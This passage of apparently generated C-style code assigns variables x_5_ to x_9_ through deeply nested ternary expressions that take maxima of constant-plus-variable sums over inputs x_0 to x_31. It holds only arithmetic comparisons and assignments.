+ x_12) : (7.0 + x_14))? ((15.0 + x_8) > (1.0 + x_9)? (15.0 + x_8) : (1.0 + x_9)) : ((11.0 + x_12) > (7.0 + x_14)? (11.0 + x_12) : (7.0 + x_14)))) > ((((11.0 + x_16) > (18.0 + x_17)? (11.0 + x_16) : (18.0 + x_17)) > ((4.0 + x_18) > (4.0 + x_19)? (4.0 + x_18) : (4.0 + x_19))? ((11.0 + x_16) > (18.0 + x_17)? (11.0 + x_16) : (18.0 + x_17)) : ((4.0 + x_18) > (4.0 + x_19)? (4.0 + x_18) : (4.0 + x_19))) > (((14.0 + x_23) > (19.0 + x_24)? (14.0 + x_23) : (19.0 + x_24)) > ((12.0 + x_28) > (2.0 + x_31)? (12.0 + x_28) : (2.0 + x_31))? ((14.0 + x_23) > (19.0 + x_24)? (14.0 + x_23) : (19.0 + x_24)) : ((12.0 + x_28) > (2.0 + x_31)? (12.0 + x_28) : (2.0 + x_31)))? (((11.0 + x_16) > (18.0 + x_17)? (11.0 + x_16) : (18.0 + x_17)) > ((4.0 + x_18) > (4.0 + x_19)? (4.0 + x_18) : (4.0 + x_19))? ((11.0 + x_16) > (18.0 + x_17)? (11.0 + x_16) : (18.0 + x_17)) : ((4.0 + x_18) > (4.0 + x_19)? (4.0 + x_18) : (4.0 + x_19))) : (((14.0 + x_23) > (19.0 + x_24)? (14.0 + x_23) : (19.0 + x_24)) > ((12.0 + x_28) > (2.0 + x_31)? (12.0 + x_28) : (2.0 + x_31))? ((14.0 + x_23) > (19.0 + x_24)? (14.0 + x_23) : (19.0 + x_24)) : ((12.0 + x_28) > (2.0 + x_31)? (12.0 + x_28) : (2.0 + x_31))))? ((((15.0 + x_0) > (9.0 + x_1)? (15.0 + x_0) : (9.0 + x_1)) > ((7.0 + x_4) > (2.0 + x_5)? (7.0 + x_4) : (2.0 + x_5))? ((15.0 + x_0) > (9.0 + x_1)? (15.0 + x_0) : (9.0 + x_1)) : ((7.0 + x_4) > (2.0 + x_5)? (7.0 + x_4) : (2.0 + x_5))) > (((15.0 + x_8) > (1.0 + x_9)? (15.0 + x_8) : (1.0 + x_9)) > ((11.0 + x_12) > (7.0 + x_14)? (11.0 + x_12) : (7.0 + x_14))? ((15.0 + x_8) > (1.0 + x_9)? (15.0 + x_8) : (1.0 + x_9)) : ((11.0 + x_12) > (7.0 + x_14)? (11.0 + x_12) : (7.0 + x_14)))? (((15.0 + x_0) > (9.0 + x_1)? (15.0 + x_0) : (9.0 + x_1)) > ((7.0 + x_4) > (2.0 + x_5)? (7.0 + x_4) : (2.0 + x_5))? ((15.0 + x_0) > (9.0 + x_1)? (15.0 + x_0) : (9.0 + x_1)) : ((7.0 + x_4) > (2.0 + x_5)? (7.0 + x_4) : (2.0 + x_5))) : (((15.0 + x_8) > (1.0 + x_9)? (15.0 + x_8) : (1.0 + x_9)) > ((11.0 + x_12) > (7.0 + x_14)? (11.0 + x_12) : (7.0 + x_14))? ((15.0 + x_8) > (1.0 + x_9)? (15.0 + x_8) : (1.0 + x_9)) : ((11.0 + x_12) > (7.0 + x_14)? (11.0 + x_12) : (7.0 + x_14)))) : ((((11.0 + x_16) > (18.0 + x_17)? (11.0 + x_16) : (18.0 + x_17)) > ((4.0 + x_18) > (4.0 + x_19)? (4.0 + x_18) : (4.0 + x_19))? ((11.0 + x_16) > (18.0 + x_17)? (11.0 + x_16) : (18.0 + x_17)) : ((4.0 + x_18) > (4.0 + x_19)? (4.0 + x_18) : (4.0 + x_19))) > (((14.0 + x_23) > (19.0 + x_24)? (14.0 + x_23) : (19.0 + x_24)) > ((12.0 + x_28) > (2.0 + x_31)? (12.0 + x_28) : (2.0 + x_31))? ((14.0 + x_23) > (19.0 + x_24)? (14.0 + x_23) : (19.0 + x_24)) : ((12.0 + x_28) > (2.0 + x_31)? (12.0 + x_28) : (2.0 + x_31)))? (((11.0 + x_16) > (18.0 + x_17)? (11.0 + x_16) : (18.0 + x_17)) > ((4.0 + x_18) > (4.0 + x_19)? (4.0 + x_18) : (4.0 + x_19))? ((11.0 + x_16) > (18.0 + x_17)? (11.0 + x_16) : (18.0 + x_17)) : ((4.0 + x_18) > (4.0 + x_19)? (4.0 + x_18) : (4.0 + x_19))) : (((14.0 + x_23) > (19.0 + x_24)? (14.0 + x_23) : (19.0 + x_24)) > ((12.0 + x_28) > (2.0 + x_31)? (12.0 + x_28) : (2.0 + x_31))? ((14.0 + x_23) > (19.0 + x_24)? (14.0 + x_23) : (19.0 + x_24)) : ((12.0 + x_28) > (2.0 + x_31)? (12.0 + x_28) : (2.0 + x_31))))); x_5_ = (((((18.0 + x_1) > (15.0 + x_3)? (18.0 + x_1) : (15.0 + x_3)) > ((12.0 + x_4) > (1.0 + x_5)? (12.0 + x_4) : (1.0 + x_5))? ((18.0 + x_1) > (15.0 + x_3)? (18.0 + x_1) : (15.0 + x_3)) : ((12.0 + x_4) > (1.0 + x_5)? (12.0 + x_4) : (1.0 + x_5))) > (((5.0 + x_8) > (6.0 + x_9)? (5.0 + x_8) : (6.0 + x_9)) > ((10.0 + x_11) > (8.0 + x_18)? (10.0 + x_11) : (8.0 + x_18))? ((5.0 + x_8) > (6.0 + x_9)? (5.0 + x_8) : (6.0 + x_9)) : ((10.0 + x_11) > (8.0 + x_18)? (10.0 + x_11) : (8.0 + x_18)))? (((18.0 + x_1) > (15.0 + x_3)? (18.0 + x_1) : (15.0 + x_3)) > ((12.0 + x_4) > (1.0 + x_5)? (12.0 + x_4) : (1.0 + x_5))? ((18.0 + x_1) > (15.0 + x_3)? (18.0 + x_1) : (15.0 + x_3)) : ((12.0 + x_4) > (1.0 + x_5)? (12.0 + x_4) : (1.0 + x_5))) : (((5.0 + x_8) > (6.0 + x_9)? (5.0 + x_8) : (6.0 + x_9)) > ((10.0 + x_11) > (8.0 + x_18)? (10.0 + x_11) : (8.0 + x_18))? ((5.0 + x_8) > (6.0 + x_9)? (5.0 + x_8) : (6.0 + x_9)) : ((10.0 + x_11) > (8.0 + x_18)? (10.0 + x_11) : (8.0 + x_18)))) > ((((16.0 + x_19) > (19.0 + x_20)? (16.0 + x_19) : (19.0 + x_20)) > ((12.0 + x_21) > (12.0 + x_22)? (12.0 + x_21) : (12.0 + x_22))? ((16.0 + x_19) > (19.0 + x_20)? (16.0 + x_19) : (19.0 + x_20)) : ((12.0 + x_21) > (12.0 + x_22)? (12.0 + x_21) : (12.0 + x_22))) > (((3.0 + x_23) > (15.0 + x_25)? (3.0 + x_23) : (15.0 + x_25)) > ((19.0 + x_28) > (4.0 + x_29)? (19.0 + x_28) : (4.0 + x_29))? ((3.0 + x_23) > (15.0 + x_25)? (3.0 + x_23) : (15.0 + x_25)) : ((19.0 + x_28) > (4.0 + x_29)? (19.0 + x_28) : (4.0 + x_29)))? (((16.0 + x_19) > (19.0 + x_20)? (16.0 + x_19) : (19.0 + x_20)) > ((12.0 + x_21) > (12.0 + x_22)? (12.0 + x_21) : (12.0 + x_22))? ((16.0 + x_19) > (19.0 + x_20)? (16.0 + x_19) : (19.0 + x_20)) : ((12.0 + x_21) > (12.0 + x_22)? (12.0 + x_21) : (12.0 + x_22))) : (((3.0 + x_23) > (15.0 + x_25)? (3.0 + x_23) : (15.0 + x_25)) > ((19.0 + x_28) > (4.0 + x_29)? (19.0 + x_28) : (4.0 + x_29))? ((3.0 + x_23) > (15.0 + x_25)? (3.0 + x_23) : (15.0 + x_25)) : ((19.0 + x_28) > (4.0 + x_29)? (19.0 + x_28) : (4.0 + x_29))))? ((((18.0 + x_1) > (15.0 + x_3)? (18.0 + x_1) : (15.0 + x_3)) > ((12.0 + x_4) > (1.0 + x_5)? (12.0 + x_4) : (1.0 + x_5))? ((18.0 + x_1) > (15.0 + x_3)? (18.0 + x_1) : (15.0 + x_3)) : ((12.0 + x_4) > (1.0 + x_5)? (12.0 + x_4) : (1.0 + x_5))) > (((5.0 + x_8) > (6.0 + x_9)? (5.0 + x_8) : (6.0 + x_9)) > ((10.0 + x_11) > (8.0 + x_18)? (10.0 + x_11) : (8.0 + x_18))? ((5.0 + x_8) > (6.0 + x_9)? (5.0 + x_8) : (6.0 + x_9)) : ((10.0 + x_11) > (8.0 + x_18)? (10.0 + x_11) : (8.0 + x_18)))? (((18.0 + x_1) > (15.0 + x_3)? (18.0 + x_1) : (15.0 + x_3)) > ((12.0 + x_4) > (1.0 + x_5)? (12.0 + x_4) : (1.0 + x_5))? ((18.0 + x_1) > (15.0 + x_3)? (18.0 + x_1) : (15.0 + x_3)) : ((12.0 + x_4) > (1.0 + x_5)? (12.0 + x_4) : (1.0 + x_5))) : (((5.0 + x_8) > (6.0 + x_9)? (5.0 + x_8) : (6.0 + x_9)) > ((10.0 + x_11) > (8.0 + x_18)? (10.0 + x_11) : (8.0 + x_18))? ((5.0 + x_8) > (6.0 + x_9)? (5.0 + x_8) : (6.0 + x_9)) : ((10.0 + x_11) > (8.0 + x_18)? (10.0 + x_11) : (8.0 + x_18)))) : ((((16.0 + x_19) > (19.0 + x_20)? (16.0 + x_19) : (19.0 + x_20)) > ((12.0 + x_21) > (12.0 + x_22)? (12.0 + x_21) : (12.0 + x_22))? ((16.0 + x_19) > (19.0 + x_20)? (16.0 + x_19) : (19.0 + x_20)) : ((12.0 + x_21) > (12.0 + x_22)? (12.0 + x_21) : (12.0 + x_22))) > (((3.0 + x_23) > (15.0 + x_25)? (3.0 + x_23) : (15.0 + x_25)) > ((19.0 + x_28) > (4.0 + x_29)? (19.0 + x_28) : (4.0 + x_29))? ((3.0 + x_23) > (15.0 + x_25)? (3.0 + x_23) : (15.0 + x_25)) : ((19.0 + x_28) > (4.0 + x_29)? (19.0 + x_28) : (4.0 + x_29)))? (((16.0 + x_19) > (19.0 + x_20)? (16.0 + x_19) : (19.0 + x_20)) > ((12.0 + x_21) > (12.0 + x_22)? (12.0 + x_21) : (12.0 + x_22))? ((16.0 + x_19) > (19.0 + x_20)? (16.0 + x_19) : (19.0 + x_20)) : ((12.0 + x_21) > (12.0 + x_22)? (12.0 + x_21) : (12.0 + x_22))) : (((3.0 + x_23) > (15.0 + x_25)? (3.0 + x_23) : (15.0 + x_25)) > ((19.0 + x_28) > (4.0 + x_29)? (19.0 + x_28) : (4.0 + x_29))? ((3.0 + x_23) > (15.0 + x_25)? (3.0 + x_23) : (15.0 + x_25)) : ((19.0 + x_28) > (4.0 + x_29)? (19.0 + x_28) : (4.0 + x_29))))); x_6_ = (((((5.0 + x_1) > (18.0 + x_2)? (5.0 + x_1) : (18.0 + x_2)) > ((10.0 + x_5) > (12.0 + x_7)? (10.0 + x_5) : (12.0 + x_7))? ((5.0 + x_1) > (18.0 + x_2)? (5.0 + x_1) : (18.0 + x_2)) : ((10.0 + x_5) > (12.0 + x_7)? (10.0 + x_5) : (12.0 + x_7))) > (((16.0 + x_12) > (19.0 + x_13)? (16.0 + x_12) : (19.0 + x_13)) > ((5.0 + x_15) > (17.0 + x_17)? (5.0 + x_15) : (17.0 + x_17))? ((16.0 + x_12) > (19.0 + x_13)? (16.0 + x_12) : (19.0 + x_13)) : ((5.0 + x_15) > (17.0 + x_17)? (5.0 + x_15) : (17.0 + x_17)))? (((5.0 + x_1) > (18.0 + x_2)? (5.0 + x_1) : (18.0 + x_2)) > ((10.0 + x_5) > (12.0 + x_7)? (10.0 + x_5) : (12.0 + x_7))? ((5.0 + x_1) > (18.0 + x_2)? (5.0 + x_1) : (18.0 + x_2)) : ((10.0 + x_5) > (12.0 + x_7)? (10.0 + x_5) : (12.0 + x_7))) : (((16.0 + x_12) > (19.0 + x_13)? (16.0 + x_12) : (19.0 + x_13)) > ((5.0 + x_15) > (17.0 + x_17)? (5.0 + x_15) : (17.0 + x_17))? ((16.0 + x_12) > (19.0 + x_13)? (16.0 + x_12) : (19.0 + x_13)) : ((5.0 + x_15) > (17.0 + x_17)? (5.0 + x_15) : (17.0 + x_17)))) > ((((15.0 + x_18) > (17.0 + x_20)? (15.0 + x_18) : (17.0 + x_20)) > ((6.0 + x_21) > (14.0 + x_22)? (6.0 + x_21) : (14.0 + x_22))? ((15.0 + x_18) > (17.0 + x_20)? (15.0 + x_18) : (17.0 + x_20)) : ((6.0 + x_21) > (14.0 + x_22)? (6.0 + x_21) : (14.0 + x_22))) > (((14.0 + x_24) > (6.0 + x_25)? (14.0 + x_24) : (6.0 + x_25)) > ((9.0 + x_26) > (5.0 + x_29)? (9.0 + x_26) : (5.0 + x_29))? ((14.0 + x_24) > (6.0 + x_25)? (14.0 + x_24) : (6.0 + x_25)) : ((9.0 + x_26) > (5.0 + x_29)? (9.0 + x_26) : (5.0 + x_29)))? (((15.0 + x_18) > (17.0 + x_20)? (15.0 + x_18) : (17.0 + x_20)) > ((6.0 + x_21) > (14.0 + x_22)? (6.0 + x_21) : (14.0 + x_22))? ((15.0 + x_18) > (17.0 + x_20)? (15.0 + x_18) : (17.0 + x_20)) : ((6.0 + x_21) > (14.0 + x_22)? (6.0 + x_21) : (14.0 + x_22))) : (((14.0 + x_24) > (6.0 + x_25)? (14.0 + x_24) : (6.0 + x_25)) > ((9.0 + x_26) > (5.0 + x_29)? (9.0 + x_26) : (5.0 + x_29))? ((14.0 + x_24) > (6.0 + x_25)? (14.0 + x_24) : (6.0 + x_25)) : ((9.0 + x_26) > (5.0 + x_29)? (9.0 + x_26) : (5.0 + x_29))))? ((((5.0 + x_1) > (18.0 + x_2)? (5.0 + x_1) : (18.0 + x_2)) > ((10.0 + x_5) > (12.0 + x_7)? (10.0 + x_5) : (12.0 + x_7))? ((5.0 + x_1) > (18.0 + x_2)? (5.0 + x_1) : (18.0 + x_2)) : ((10.0 + x_5) > (12.0 + x_7)? (10.0 + x_5) : (12.0 + x_7))) > (((16.0 + x_12) > (19.0 + x_13)? (16.0 + x_12) : (19.0 + x_13)) > ((5.0 + x_15) > (17.0 + x_17)? (5.0 + x_15) : (17.0 + x_17))? ((16.0 + x_12) > (19.0 + x_13)? (16.0 + x_12) : (19.0 + x_13)) : ((5.0 + x_15) > (17.0 + x_17)? (5.0 + x_15) : (17.0 + x_17)))? (((5.0 + x_1) > (18.0 + x_2)? (5.0 + x_1) : (18.0 + x_2)) > ((10.0 + x_5) > (12.0 + x_7)? (10.0 + x_5) : (12.0 + x_7))? ((5.0 + x_1) > (18.0 + x_2)? (5.0 + x_1) : (18.0 + x_2)) : ((10.0 + x_5) > (12.0 + x_7)? (10.0 + x_5) : (12.0 + x_7))) : (((16.0 + x_12) > (19.0 + x_13)? (16.0 + x_12) : (19.0 + x_13)) > ((5.0 + x_15) > (17.0 + x_17)? (5.0 + x_15) : (17.0 + x_17))? ((16.0 + x_12) > (19.0 + x_13)? (16.0 + x_12) : (19.0 + x_13)) : ((5.0 + x_15) > (17.0 + x_17)? (5.0 + x_15) : (17.0 + x_17)))) : ((((15.0 + x_18) > (17.0 + x_20)? (15.0 + x_18) : (17.0 + x_20)) > ((6.0 + x_21) > (14.0 + x_22)? (6.0 + x_21) : (14.0 + x_22))? ((15.0 + x_18) > (17.0 + x_20)? (15.0 + x_18) : (17.0 + x_20)) : ((6.0 + x_21) > (14.0 + x_22)? (6.0 + x_21) : (14.0 + x_22))) > (((14.0 + x_24) > (6.0 + x_25)? (14.0 + x_24) : (6.0 + x_25)) > ((9.0 + x_26) > (5.0 + x_29)? (9.0 + x_26) : (5.0 + x_29))? ((14.0 + x_24) > (6.0 + x_25)? (14.0 + x_24) : (6.0 + x_25)) : ((9.0 + x_26) > (5.0 + x_29)? (9.0 + x_26) : (5.0 + x_29)))? (((15.0 + x_18) > (17.0 + x_20)? (15.0 + x_18) : (17.0 + x_20)) > ((6.0 + x_21) > (14.0 + x_22)? (6.0 + x_21) : (14.0 + x_22))? ((15.0 + x_18) > (17.0 + x_20)? (15.0 + x_18) : (17.0 + x_20)) : ((6.0 + x_21) > (14.0 + x_22)? (6.0 + x_21) : (14.0 + x_22))) : (((14.0 + x_24) > (6.0 + x_25)? (14.0 + x_24) : (6.0 + x_25)) > ((9.0 + x_26) > (5.0 + x_29)? (9.0 + x_26) : (5.0 + x_29))? ((14.0 + x_24) > (6.0 + x_25)? (14.0 + x_24) : (6.0 + x_25)) : ((9.0 + x_26) > (5.0 + x_29)? (9.0 + x_26) : (5.0 + x_29))))); x_7_ = (((((3.0 + x_2) > (4.0 + x_3)? (3.0 + x_2) : (4.0 + x_3)) > ((20.0 + x_4) > (3.0 + x_5)? (20.0 + x_4) : (3.0 + x_5))? ((3.0 + x_2) > (4.0 + x_3)? (3.0 + x_2) : (4.0 + x_3)) : ((20.0 + x_4) > (3.0 + x_5)? (20.0 + x_4) : (3.0 + x_5))) > (((4.0 + x_6) > (9.0 + x_7)? (4.0 + x_6) : (9.0 + x_7)) > ((11.0 + x_10) > (11.0 + x_13)? (11.0 + x_10) : (11.0 + x_13))? ((4.0 + x_6) > (9.0 + x_7)? (4.0 + x_6) : (9.0 + x_7)) : ((11.0 + x_10) > (11.0 + x_13)? (11.0 + x_10) : (11.0 + x_13)))? (((3.0 + x_2) > (4.0 + x_3)? (3.0 + x_2) : (4.0 + x_3)) > ((20.0 + x_4) > (3.0 + x_5)? (20.0 + x_4) : (3.0 + x_5))? ((3.0 + x_2) > (4.0 + x_3)? (3.0 + x_2) : (4.0 + x_3)) : ((20.0 + x_4) > (3.0 + x_5)? (20.0 + x_4) : (3.0 + x_5))) : (((4.0 + x_6) > (9.0 + x_7)? (4.0 + x_6) : (9.0 + x_7)) > ((11.0 + x_10) > (11.0 + x_13)? (11.0 + x_10) : (11.0 + x_13))? ((4.0 + x_6) > (9.0 + x_7)? (4.0 + x_6) : (9.0 + x_7)) : ((11.0 + x_10) > (11.0 + x_13)? (11.0 + x_10) : (11.0 + x_13)))) > ((((9.0 + x_18) > (10.0 + x_19)? (9.0 + x_18) : (10.0 + x_19)) > ((4.0 + x_22) > (10.0 + x_25)? (4.0 + x_22) : (10.0 + x_25))? ((9.0 + x_18) > (10.0 + x_19)? (9.0 + x_18) : (10.0 + x_19)) : ((4.0 + x_22) > (10.0 + x_25)? (4.0 + x_22) : (10.0 + x_25))) > (((18.0 + x_26) > (17.0 + x_27)? (18.0 + x_26) : (17.0 + x_27)) > ((16.0 + x_28) > (19.0 + x_31)? (16.0 + x_28) : (19.0 + x_31))? ((18.0 + x_26) > (17.0 + x_27)? (18.0 + x_26) : (17.0 + x_27)) : ((16.0 + x_28) > (19.0 + x_31)? (16.0 + x_28) : (19.0 + x_31)))? (((9.0 + x_18) > (10.0 + x_19)? (9.0 + x_18) : (10.0 + x_19)) > ((4.0 + x_22) > (10.0 + x_25)? (4.0 + x_22) : (10.0 + x_25))? ((9.0 + x_18) > (10.0 + x_19)? (9.0 + x_18) : (10.0 + x_19)) : ((4.0 + x_22) > (10.0 + x_25)? (4.0 + x_22) : (10.0 + x_25))) : (((18.0 + x_26) > (17.0 + x_27)? (18.0 + x_26) : (17.0 + x_27)) > ((16.0 + x_28) > (19.0 + x_31)? (16.0 + x_28) : (19.0 + x_31))? ((18.0 + x_26) > (17.0 + x_27)? (18.0 + x_26) : (17.0 + x_27)) : ((16.0 + x_28) > (19.0 + x_31)? (16.0 + x_28) : (19.0 + x_31))))? ((((3.0 + x_2) > (4.0 + x_3)? (3.0 + x_2) : (4.0 + x_3)) > ((20.0 + x_4) > (3.0 + x_5)? (20.0 + x_4) : (3.0 + x_5))? ((3.0 + x_2) > (4.0 + x_3)? (3.0 + x_2) : (4.0 + x_3)) : ((20.0 + x_4) > (3.0 + x_5)? (20.0 + x_4) : (3.0 + x_5))) > (((4.0 + x_6) > (9.0 + x_7)? (4.0 + x_6) : (9.0 + x_7)) > ((11.0 + x_10) > (11.0 + x_13)? (11.0 + x_10) : (11.0 + x_13))? ((4.0 + x_6) > (9.0 + x_7)? (4.0 + x_6) : (9.0 + x_7)) : ((11.0 + x_10) > (11.0 + x_13)? (11.0 + x_10) : (11.0 + x_13)))? (((3.0 + x_2) > (4.0 + x_3)? (3.0 + x_2) : (4.0 + x_3)) > ((20.0 + x_4) > (3.0 + x_5)? (20.0 + x_4) : (3.0 + x_5))? ((3.0 + x_2) > (4.0 + x_3)? (3.0 + x_2) : (4.0 + x_3)) : ((20.0 + x_4) > (3.0 + x_5)? (20.0 + x_4) : (3.0 + x_5))) : (((4.0 + x_6) > (9.0 + x_7)? (4.0 + x_6) : (9.0 + x_7)) > ((11.0 + x_10) > (11.0 + x_13)? (11.0 + x_10) : (11.0 + x_13))? ((4.0 + x_6) > (9.0 + x_7)? (4.0 + x_6) : (9.0 + x_7)) : ((11.0 + x_10) > (11.0 + x_13)? (11.0 + x_10) : (11.0 + x_13)))) : ((((9.0 + x_18) > (10.0 + x_19)? (9.0 + x_18) : (10.0 + x_19)) > ((4.0 + x_22) > (10.0 + x_25)? (4.0 + x_22) : (10.0 + x_25))? ((9.0 + x_18) > (10.0 + x_19)? (9.0 + x_18) : (10.0 + x_19)) : ((4.0 + x_22) > (10.0 + x_25)? (4.0 + x_22) : (10.0 + x_25))) > (((18.0 + x_26) > (17.0 + x_27)? (18.0 + x_26) : (17.0 + x_27)) > ((16.0 + x_28) > (19.0 + x_31)? (16.0 + x_28) : (19.0 + x_31))? ((18.0 + x_26) > (17.0 + x_27)? (18.0 + x_26) : (17.0 + x_27)) : ((16.0 + x_28) > (19.0 + x_31)? (16.0 + x_28) : (19.0 + x_31)))? (((9.0 + x_18) > (10.0 + x_19)? (9.0 + x_18) : (10.0 + x_19)) > ((4.0 + x_22) > (10.0 + x_25)? (4.0 + x_22) : (10.0 + x_25))? ((9.0 + x_18) > (10.0 + x_19)? (9.0 + x_18) : (10.0 + x_19)) : ((4.0 + x_22) > (10.0 + x_25)? (4.0 + x_22) : (10.0 + x_25))) : (((18.0 + x_26) > (17.0 + x_27)? (18.0 + x_26) : (17.0 + x_27)) > ((16.0 + x_28) > (19.0 + x_31)? (16.0 + x_28) : (19.0 + x_31))? ((18.0 + x_26) > (17.0 + x_27)? (18.0 + x_26) : (17.0 + x_27)) : ((16.0 + x_28) > (19.0 + x_31)? (16.0 + x_28) : (19.0 + x_31))))); x_8_ = (((((14.0 + x_1) > (12.0 + x_2)? (14.0 + x_1) : (12.0 + x_2)) > ((3.0 + x_8) > (10.0 + x_9)? (3.0 + x_8) : (10.0 + x_9))? ((14.0 + x_1) > (12.0 + x_2)? (14.0 + x_1) : (12.0 + x_2)) : ((3.0 + x_8) > (10.0 + x_9)? (3.0 + x_8) : (10.0 + x_9))) > (((14.0 + x_11) > (8.0 + x_12)? (14.0 + x_11) : (8.0 + x_12)) > ((19.0 + x_13) > (14.0 + x_14)? (19.0 + x_13) : (14.0 + x_14))? ((14.0 + x_11) > (8.0 + x_12)? (14.0 + x_11) : (8.0 + x_12)) : ((19.0 + x_13) > (14.0 + x_14)? (19.0 + x_13) : (14.0 + x_14)))? (((14.0 + x_1) > (12.0 + x_2)? (14.0 + x_1) : (12.0 + x_2)) > ((3.0 + x_8) > (10.0 + x_9)? (3.0 + x_8) : (10.0 + x_9))? ((14.0 + x_1) > (12.0 + x_2)? (14.0 + x_1) : (12.0 + x_2)) : ((3.0 + x_8) > (10.0 + x_9)? (3.0 + x_8) : (10.0 + x_9))) : (((14.0 + x_11) > (8.0 + x_12)? (14.0 + x_11) : (8.0 + x_12)) > ((19.0 + x_13) > (14.0 + x_14)? (19.0 + x_13) : (14.0 + x_14))? ((14.0 + x_11) > (8.0 + x_12)? (14.0 + x_11) : (8.0 + x_12)) : ((19.0 + x_13) > (14.0 + x_14)? (19.0 + x_13) : (14.0 + x_14)))) > ((((8.0 + x_17) > (9.0 + x_19)? (8.0 + x_17) : (9.0 + x_19)) > ((9.0 + x_20) > (5.0 + x_25)? (9.0 + x_20) : (5.0 + x_25))? ((8.0 + x_17) > (9.0 + x_19)? (8.0 + x_17) : (9.0 + x_19)) : ((9.0 + x_20) > (5.0 + x_25)? (9.0 + x_20) : (5.0 + x_25))) > (((12.0 + x_26) > (7.0 + x_27)? (12.0 + x_26) : (7.0 + x_27)) > ((3.0 + x_29) > (20.0 + x_31)? (3.0 + x_29) : (20.0 + x_31))? ((12.0 + x_26) > (7.0 + x_27)? (12.0 + x_26) : (7.0 + x_27)) : ((3.0 + x_29) > (20.0 + x_31)? (3.0 + x_29) : (20.0 + x_31)))? (((8.0 + x_17) > (9.0 + x_19)? (8.0 + x_17) : (9.0 + x_19)) > ((9.0 + x_20) > (5.0 + x_25)? (9.0 + x_20) : (5.0 + x_25))? ((8.0 + x_17) > (9.0 + x_19)? (8.0 + x_17) : (9.0 + x_19)) : ((9.0 + x_20) > (5.0 + x_25)? (9.0 + x_20) : (5.0 + x_25))) : (((12.0 + x_26) > (7.0 + x_27)? (12.0 + x_26) : (7.0 + x_27)) > ((3.0 + x_29) > (20.0 + x_31)? (3.0 + x_29) : (20.0 + x_31))? ((12.0 + x_26) > (7.0 + x_27)? (12.0 + x_26) : (7.0 + x_27)) : ((3.0 + x_29) > (20.0 + x_31)? (3.0 + x_29) : (20.0 + x_31))))? ((((14.0 + x_1) > (12.0 + x_2)? (14.0 + x_1) : (12.0 + x_2)) > ((3.0 + x_8) > (10.0 + x_9)? (3.0 + x_8) : (10.0 + x_9))? ((14.0 + x_1) > (12.0 + x_2)? (14.0 + x_1) : (12.0 + x_2)) : ((3.0 + x_8) > (10.0 + x_9)? (3.0 + x_8) : (10.0 + x_9))) > (((14.0 + x_11) > (8.0 + x_12)? (14.0 + x_11) : (8.0 + x_12)) > ((19.0 + x_13) > (14.0 + x_14)? (19.0 + x_13) : (14.0 + x_14))? ((14.0 + x_11) > (8.0 + x_12)? (14.0 + x_11) : (8.0 + x_12)) : ((19.0 + x_13) > (14.0 + x_14)? (19.0 + x_13) : (14.0 + x_14)))? (((14.0 + x_1) > (12.0 + x_2)? (14.0 + x_1) : (12.0 + x_2)) > ((3.0 + x_8) > (10.0 + x_9)? (3.0 + x_8) : (10.0 + x_9))? ((14.0 + x_1) > (12.0 + x_2)? (14.0 + x_1) : (12.0 + x_2)) : ((3.0 + x_8) > (10.0 + x_9)? (3.0 + x_8) : (10.0 + x_9))) : (((14.0 + x_11) > (8.0 + x_12)? (14.0 + x_11) : (8.0 + x_12)) > ((19.0 + x_13) > (14.0 + x_14)? (19.0 + x_13) : (14.0 + x_14))? ((14.0 + x_11) > (8.0 + x_12)? (14.0 + x_11) : (8.0 + x_12)) : ((19.0 + x_13) > (14.0 + x_14)? (19.0 + x_13) : (14.0 + x_14)))) : ((((8.0 + x_17) > (9.0 + x_19)? (8.0 + x_17) : (9.0 + x_19)) > ((9.0 + x_20) > (5.0 + x_25)? (9.0 + x_20) : (5.0 + x_25))? ((8.0 + x_17) > (9.0 + x_19)? (8.0 + x_17) : (9.0 + x_19)) : ((9.0 + x_20) > (5.0 + x_25)? (9.0 + x_20) : (5.0 + x_25))) > (((12.0 + x_26) > (7.0 + x_27)? (12.0 + x_26) : (7.0 + x_27)) > ((3.0 + x_29) > (20.0 + x_31)? (3.0 + x_29) : (20.0 + x_31))? ((12.0 + x_26) > (7.0 + x_27)? (12.0 + x_26) : (7.0 + x_27)) : ((3.0 + x_29) > (20.0 + x_31)? (3.0 + x_29) : (20.0 + x_31)))? (((8.0 + x_17) > (9.0 + x_19)? (8.0 + x_17) : (9.0 + x_19)) > ((9.0 + x_20) > (5.0 + x_25)? (9.0 + x_20) : (5.0 + x_25))? ((8.0 + x_17) > (9.0 + x_19)? (8.0 + x_17) : (9.0 + x_19)) : ((9.0 + x_20) > (5.0 + x_25)? (9.0 + x_20) : (5.0 + x_25))) : (((12.0 + x_26) > (7.0 + x_27)? (12.0 + x_26) : (7.0 + x_27)) > ((3.0 + x_29) > (20.0 + x_31)? (3.0 + x_29) : (20.0 + x_31))? ((12.0 + x_26) > (7.0 + x_27)? (12.0 + x_26) : (7.0 + x_27)) : ((3.0 + x_29) > (20.0 + x_31)? (3.0 + x_29) : (20.0 + x_31))))); x_9_ = (((((20.0 + x_0) > (13.0 + x_3)? (20.0 + x_0) : (13.0 + x_3)) > ((3.0 + x_4) > (19.0 + x_5)? (3.0 + x_4) : (19.0 + x_5))? ((20.0 + x_0) > (13.0 + x_3)? (20.0 + x_0) : (13.0 + x_3)) : ((3.0 + x_4) > (19.0 + x_5)? (3.0 + x_4) : (19.0 + x_5))) > (((14.0 + x_6) > (11.0 + x_8)? (14.0 + x_6) : (11.0 + x_8)) > ((7.0 + x_11) > (10.0 + x_15)? (7.0 + x_11) : (10.0 + x_15))? ((14.0 + x_6) > (11.0 + x_8)? (14.0 + x_6) : (11.0 + x_8)) : ((7.0 + x_11) > (10.0 + x_15)? (7.0 + x_11) : (10.0 + x_15)))? (((20.0 + x_0) > (13.0 + x_3)? (20.0 + x_0) : (13.0 + x_3)) > ((3.0 + x_4) > (19.0 + x_5)? (3.0 + x_4) : (19.0 + x_5))? ((20.0 + x_0) > (13.0 + x_3)? (20.0 + x_0) : (13.0 + x_3)) : ((3.0 + x_4) > (19.0 + x_5)? (3.0 + x_4) : (19.0 + x_5))) : (((14.0 + x_6) > (11.0 + x_8)? (14.0 + x_6) : (11.0 + x_8)) > ((7.0 + x_11) > (10.0 + x_15)? (7.0 + x_11) : (10.0 + x_15))? ((14.0 + x_6) > (11.0 + x_8)? (14.0 + x_6) : (11.0 + x_8)) : ((7.0 + x_11) > (10.0 + x_15)? (7.0 + x_11) : (10.0 + x_15)))) > ((((3.0 + x_18) > (18.0 + x_19)? (3.0 + x_18) : (18.0 + x_19)) > ((12.0 + x_21) > (6.0 + x_22)? (12.0 + x_21) : (6.0 + x_22))? ((3.0 + x_18) > (18.0 + x_19)? (3.0 + x_18) : (18.0 + x_19)) : ((12.0 + x_21) > (6.0 + x_22)? (12.0 + x_21) : (6.0 + x_22))) > 